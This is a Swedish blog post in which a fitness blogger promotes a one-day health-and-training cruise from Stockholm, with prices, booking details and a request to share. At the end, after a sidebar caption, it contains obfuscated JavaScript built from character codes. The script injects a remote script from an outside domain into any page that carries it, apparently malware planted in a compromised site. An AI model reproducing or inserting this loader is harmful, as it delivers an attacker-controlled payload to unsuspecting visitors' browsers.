följ med mig och resten utav detta härliga inspirerande gäng på Hälsokicken den 20:e augusti =)

HalsokickenBanner

Hej Fina du!

ÄNTLIGEN är det officiellt och jag kan nu berätta att DU har möjligheten att följa med mig och detta fantastiska gäng bakom hälsokicken på kryssning i hälsans tecken.

Den 20:e augusti lämnar vi Stockholms hamn…

-Vill du följa med???

_MG_0643 

FRÅN ENDAST 1569:-/PERSON

Idén med resan föddes från viljan att kunna erbjuda, under en kortare period, dvs en dygnskryssning. Tillgång till samma kvalitativa träning av etablerade fitness/träningsprofiler som på längre utlandsresor. 
Samt även kunna lyssna på föreläsare som i vanliga fall är svåra att få tillgång till.

Många av er följde min träningresa här genom bloggen från Marbella, som var HELT fantastisk.

Jag skulle kunna åka på trängresor hela tiden om jag bara kunde…  Den energin och harmonin man känner är helt magisk, för både kropp och själ =)

Men du kanske precis om jag har svårt att komma loss ifrån jobbet? Det kan vara minst lika svårt som anställd så som egenföretagare…

Eller är du kanske också är ensamstående mamma som tidsmässigt, nätt och jämnt klarar av vardagen?

-Har du svårt att vara borta en vecka eller två från familjen, som är det vanligaste när man åker iväg på en träningsresa?

En träningsresa på en vecka eller två brukar börja någonstans från 13-14-tusen.

Men här har du möjligheten att boka med dig på resan

från 1569:- /person!

Du kommer att få prova på fler olika träninsgmetoder, lyssna på erfarna föreläsare, dansa med gladiator, umgås med mig…..  och ha ett helt fantastiskt dygn ute på havet med inspiration och träning tillsammans med oss =)

Du kommer att få med dig såååå mycket information, tips och råd som kan hjälpa dig framåt med träning och kosten i hälsans tecken även när båten lagt till i hamn igen….

Tanken med denna resan är ju att man ska få en riktig energiboost och att man ska kunna ta med sig alla nya kunskaper och fortsätta i samma anda hemma =)

-Låter inte detta kul?! 

Jag lovar att det kommer att bli en boost/kickstart och en riktig energi injektion! =)

Hälsokickens värdeord är:
ÄT BRA • TRÄNA BRA • MÅ BRA
Vi får ju inte glömma att både kropp & själ ska få sig en dos härligt välmående.

Kika in på Hälsokickens sida och läsa mer om resan HÄR 

Här ser ni resten utav gänget som ni komne att få umgås, inspireras och träna med:

Banner-My

Banner-Phoenix Banner-Nisse Banner-Peter Banner-Jarkko Banner-Emil Banner-Johnnie Banner-Bjorn Banner-Nathalie Banner-Pischa

Låt höra nu, låter detta något för dig?

Kanske för dig och några väninnor? Har du frågor?

-Ställ dom till mig =) 

För att boka eller läsa på mer om resan, klicka in dig HÄRpå Hälsokickens sida…

Eller så ringer du Viking Line för direkt bokning, på nummer 08-452 40 00

Detta kommer att bli grymt kul! Du behöver varken vara atlet eller fitness proffs för att följa med, bara att ha träning och hälsa som ett brinnande intresse =)

Jag själv har precis smugit igång, efter lååååååång rehabilitering efter mi bukplastik där jag lagade min spruckna bukmuskelatur. Min kondition och fysiska form är NOLL just nu. Men jag tar ett steg i taget och kämpar mig tillbaka…

-Kan jag så kan du? 😉 

_MG_0667

-Nu vill jag ha din hjälp att sprida detta till så många som möjligt!

Även om du inte brukar göra det så ber jag dig nu att DELA detta inlägget, så att så många som möjligt får chansen att följa med =)

och du….. -tveka inte på att ställa frågor till mig! Hoppas att du vill följa med! Kramar /My Martens

2 Komentarer

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/